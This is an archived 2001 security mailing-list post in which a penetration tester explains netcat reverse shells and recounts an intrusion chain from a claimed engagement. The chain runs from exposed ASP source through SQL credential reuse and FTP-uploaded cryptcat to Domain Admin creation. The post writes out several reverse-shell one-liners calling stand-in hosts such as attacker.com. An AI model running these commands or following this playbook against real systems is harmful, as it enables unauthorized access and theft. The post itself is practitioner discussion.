-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > -----Original Message----- > From: Junginger, Jeremy [mailto:jjungingerat_private] > Sent: Wednesday, October 03, 2001 10:58 AM > >>> Frank wrote: >>> Uhm... why so complicated? If you can establish a connection >>> outbound, you can also feed input back through the same >>> connection... as in 'nc -e cmd.exe hacker.com 25' > > 1) wouldn't the use of this exploit involve a prior intrusion on > the machine (to install NetCat)? Absolutely, you need to somehow execute code on the box. That can be done through various exploits. But the same applies for your original question of shell shoveling. You need to be able to execute nc somehow. > 2) wouldn't there be a requirement to escalate privileges in order > to run NetCat on the compromised host? That depends totally on the host. There are just two requirements that need to be met: a) you need to be able to upload netcat onto the host (i.e. through an HTTP PUT or execution of (t)ftp), and b) you need to be able to execute netcat. Once that is done, you can interact more efficiently with the system in order to elevate privileges. > 3) if the host has already been compromised (in step 1), why is > this useful? Efficiency. If you can upload and execute files/shell scripts/batch files, then you're in anyway. Using netcat just makes it cleaner to interact with the system (and speeds up time). Here is an example of my current pen-test engagement: * found a MS web server with SiteServer examples loaded, so we were being able to view ASP sources. * found data source name and user ID/password for database. * SQLRDS exploit worked, but that user ID could not execute store procedures (sp_execute). * however, that user ID and password was able to read other user ID's from the default SQL databases. * one of them had an easy password (i.e. something/something) * THAT one was able to execute cmd using sp_execute. * found that firewall did not block outbound FTP, so created ftp scripts with echo, and ftp'ed cryptcat in (I prefer encryption when I open client machines to protect their juicy data in its way to me :) At this point, being able to ftp files in, I could have created attack batch files (i.e. to look around, get dir listings, browse the network, get I/F configs, routing tables, etc). I was in, no doubt. But using netcat/cryptcat just makes working with the machine so much faster since I don't have to script the stuff, upload it, and execute it, but instead I just type it in. That's where netcat is worth more than beer. The account I was running under had enough privileges locally. I was able to extend that and create an Domain Admin account in that NT domain the box belonged to. (Unfortunately, the juicy domain is a different one, and no trust exists. Tonight I need to check the output of the bruter against the other domain, and somehow get an account in there. Uploading an SMB sniffer comes to mind...). Anyway, regarding privileges... if you can not run netcat, then most likely you can not exploit the system further (host too hard), and it would be tough to extend your privileges using other mechanisms (besides bringing tools in). In that case I would resort to buffer overflows and hope that I can bring in my shell that way. If you stack smash your web server for example, you can deliver a shell (just like netcat) with the payload, and chances are good it will execute under the same context of the service/daemon your were trashing. What you had written in your previous email was: nc attacker.com 80 | cmd.exe | nc attacker.com 25 Where does it run? On your machine? You basically pull the web page from attacker.com, pipe it to your shell, and pipe the results back to attacker port 25. Now, what good does that do? If you meant that you want to execute netcat on the target, than that would assume that netcat is already there. Question a) how do you issue/execute this command on the target, and b) if netcat were sitting there waiting for you and you can execute it, why make it so complicated? Just doing a 'nc -e cmd.exe attacker.com 80' would be enough for you to get a shell. Oops, sorry for the long post, I'll shut up now. Regards, Frank -----BEGIN PGP SIGNATURE----- Version: PGP Personal Privacy 6.5.8 Comment: PGP or S/MIME (X.509) encrypted email preferred. iQA/AwUBO7tHRJytSsEygtEFEQK77QCg9CIGSIwOfngOMBZaCCCkt1homksAn1R1 78DQD7OLM/XtS4Xnlrjey+Gk =/Voc -----END PGP SIGNATURE----- ---------------------------------------------------------------------------- This list is provided by the SecurityFocus Security Intelligence Alert (SIA) Service. For more information on SecurityFocus' SIA service which automatically alerts you to the latest security vulnerabilities please see: https://alerts.securityfocus.com/
This archive was generated by hypermail 2b30 : Thu Oct 04 2001 - 10:57:50 PDT